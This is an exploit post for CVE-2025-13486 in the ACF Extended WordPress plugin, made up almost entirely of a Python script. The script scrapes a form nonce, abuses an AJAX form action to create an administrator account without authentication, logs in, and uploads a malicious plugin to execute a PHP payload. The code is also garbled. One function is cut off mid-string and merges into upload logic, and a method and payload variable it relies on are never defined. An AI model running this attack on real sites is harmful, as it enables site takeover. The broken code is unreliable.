============================================================================================================================================= | # Title : WordPress ACF 0.9.1.1 unauthenticated Remote Code Execution vulnerability | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits) | | # Vendor : https://wordpress.org/plugins/acf-extended/ | ============================================================================================================================================= [+] References : https://packetstorm.news/files/id/213140/ & CVE-2025-13486 [+] Summary : an unauthenticated Remote Code Execution vulnerability in the Advanced Custom Fields: Extended (ACF Extended) WordPress plugin(versions 0.9.0.5 through 0.9.1.1). [+] PoC : python poc.py #!/usr/bin/env python3 import re import requests import random import string import zipfile import io import time import sys from urllib.parse import urljoin, urlparse from requests.adapters import HTTPAdapter from requests.packages.urllib3.util.retry import Retry class WordPressACFExploit: def __init__(self, target_url, nonce_page, username=None, password=None, email=None): self.target_url = target_url.rstrip('/') self.nonce_page = nonce_page self.session = requests.Session() retry_strategy = Retry( total=3, backoff_factor=1, status_forcelist=[429, 500, 502, 503, 504] ) adapter = HTTPAdapter(max_retries=retry_strategy) self.session.mount("http://", adapter) self.session.mount("https://", adapter) self.username = username or self.generate_random_string(8) self.password = password or self.generate_random_string(12) self.email = email or f"{self.username}@example.com" self.nonce = None self.admin_cookie = None def generate_random_string(self, length): """Generate a random alphanumeric string.""" return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length)) def check_wordpress(self): """Check if target is running WordPress.""" try: response = self.session.get(self.target_url, timeout=10) if response.status_code == 200: if 'wp-content' in response.text or 'wp-includes' in response.text: return True admin_url = urljoin(self.target_url, '/wp-admin/') admin_response = self.session.get(admin_url, timeout=10) if admin_response.status_code in [200, 302]: return True except Exception as e: print(f"[!] Error checking WordPress: {e}") return False def find_nonce(self): """Extract nonce from the specified page.""" nonce_url = urljoin(self.target_url, self.nonce_page) try: response = self.session.get(nonce_url, timeout=10) if response.status_code == 200: pattern = r'"nonce":"([a-f0-9]+)"' match = re.search(pattern, response.text, re.IGNORECASE) if match: self.nonce = match.group(1) print(f"[+] Found nonce: {self.nonce}") return True except Exception as e: print(f"[!] Error finding nonce: {e}") return False def check_plugin_version(self): """Check if vulnerable plugin version is installed.""" try: readme_urls = [ urljoin(self.target_url, '/wp-content/plugins/acf-extended/readme.txt'), urljoin(self.target_url, '/wp-content/plugins/acf-extended/README.txt'), ] for url in readme_urls: response = self.session.get(url, timeout=10) if response.status_code == 200: version_pattern = r'Stable tag:\s*([0-9.]+)' match = re.search(version_pattern, response.text) if match: version = match.group(1) print(f"[*] Plugin version: {version}") # Check if version is vulnerable (0.9.0.5 to 0.9.1.1) vulnerable_versions = ['0.9.0.5', '0.9.0.6', '0.9.0.7', '0.9.0.8', '0.9.0.9', '0.9.1.0', '0.9.1.1'] if version in vulnerable_versions: return True except Exception: pass return self.nonce is not None def check(self): """Perform vulnerability check.""" print("[*] Checking target...") if not self.check_wordpress(): print("[-] Target does not appear to be running WordPress") return False print("[+] WordPress detected") if not self.find_nonce(): print("[-] Could not find nonce on specified page") return False if not self.check_plugin_version(): print("[-] Plugin version not vulnerable or cannot be determined") return False print("[+] Target appears vulnerable") return True def exploit(self): """Execute the exploit.""" if not self.check(): print("[-] Exploit check failed") return False print("[*] Creating administrator account...") if not self.create_admin_user(): print("[-] Failed to create administrator account") return False print("[*] Logging in as administrator...") if not self.login(): print("[-] Failed to login") return False print("[*] Uploading payload...") if not self.upload_payload(): print("[-] Failed to upload payload") return False return True def create_admin_user(self): """Exploit the vulnerability to create an admin user.""" ajax_url = urljoin(self.target_url, '/wp-admin/admin-ajax.php') payload = { 'action': 'acfe/form/render_form_ajax', 'nonce': self.nonce, 'form[render]': 'wp_insert_user', 'form[user_login]': self.username, 'form[user_email]': self.email, 'form[user_pass]': self.password, 'form[role]': 'administrator' } try: response = self.session.post(ajax_url, data=payload, timeout=30) if response.status_code == 200: if re.search(r'\s*\d+\s*', response.text): print(f"[+] Administrator account created:") print(f" Username: {self.username}") print(f" Password: {self.password}") print(f" Email: {self.email}") return True except Exception as e: print(f"[!] Error creating admin user: {e}") return False def login(self): """Login to WordPress admin.""" login_url = urljoin(self.target_url, '/wp-login.php') try: response = self.session.get(login_url, timeout=10) pattern = r'name="log"|id="user_login"' if not re.search(pattern, response.text): print("[-] Could not find login form") return False except Exception as e: print(f"[!] Error accessing login page: {e}") return False login_data = { 'log': self.username, 'pwd': self.password, 'wp-submit': 'Log In', 'redirect_to': urljoin(self.target_url, '/wp-admin/'), 'testcookie': '1' } try: response = self.session.post(login_url, data=login_data, timeout=30) if response.status_code == 200: if 'wp-admin' in response.url or 'dashboard' in response.text.lower(): print("[+] Successfully logged in") self.admin_cookie = self.session.cookies.get_dict() return True except Exception as e: print(f"[!] Error during login: {e}") return False def generate_plugin(self, plugin_name, payload_name, php_payload): """Generate a malicious WordPress plugin ZIP file.""" main_plugin_content = f""" """ plugin_name = f"wp_{self.generate_random_string(5).lower()}" payload_name = f"ajax_{self.generate_random_string(5).lower()}" print(f"[*] Generating plugin: {plugin_name}") zip_data = self.generate_plugin(plugin_name, payload_name, php_payload) upload_url = urljoin(self.target_url, '/wp-admin/plugin-install.php?tab=upload') try: response = self.session.get(upload_url, timeout=10) # Look for upload nonce pattern = r'name="_wpnonce" value="([^"]+)"' match = re.search(pattern, response.text) if not match: print("[-] Could not find upload nonce") return False upload_nonce = match.group(1) except Exception as e: print(f"[!] Error accessing upload page: {e}") return False files = { 'pluginzip': (f'{plugin_name}.zip', zip_data, 'application/zip') } data = { '_wpnonce': upload_nonce, '_wp_http_referer': '/wp-admin/plugin-install.php?tab=upload', 'install-plugin-submit': 'Install Now' } try: print("[*] Uploading plugin...") response = self.session.post(upload_url, files=files, data=data, timeout=60) if response.status_code == 200: if 'successfully installed' in response.text.lower() or 'activated' in response.text.lower(): print("[+] Plugin uploaded successfully") payload_url = urljoin(self.target_url, f'/wp-content/plugins/{plugin_name}/{payload_name}.php') print(f"[*] Executing payload at: {payload_url}") response = self.session.get(payload_url, timeout=10) if response.status_code == 200: print("[+] Payload executed") print(f"Response: {response.text[:100]}") return True except Exception as e: print(f"[!] Error uploading plugin: {e}") return False def main(): """Main execution function.""" print("WordPress ACF Extended RCE Exploit (CVE-2025-13486) By indoushka") print("=" * 50) target_url = input("Target URL (e.g., http://example.com): ").strip() nonce_page = input("Path to page with ACF form (e.g., /contact/): ").strip() username = input("Username to create [optional]: ").strip() or None password = input("Password for new user [optional]: ").strip() or None email = input("Email for new user [optional]: ").strip() or None exploit = WordPressACFExploit( target_url=target_url, nonce_page=nonce_page, username=username, password=password, email=email ) if exploit.exploit(): print("\n[+] Exploit completed successfully!") if exploit.admin_cookie: print("\n[!] You can now:") print(f" 1. Login to {urljoin(target_url, '/wp-admin/')}") print(f" Username: {exploit.username}") print(f" Password: {exploit.password}") while True: cmd = input("\nEnter command to execute (or 'exit' to quit): ").strip() if cmd.lower() == 'exit': break print("[!] Command execution requires the uploaded payload URL") else: print("\n[-] Exploit failed") if __name__ == "__main__": try: main() except KeyboardInterrupt: print("\n[!] Exploit interrupted by user") sys.exit(1) except Exception as e: print(f"\n[!] Unexpected error: {e}") sys.exit(1) Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================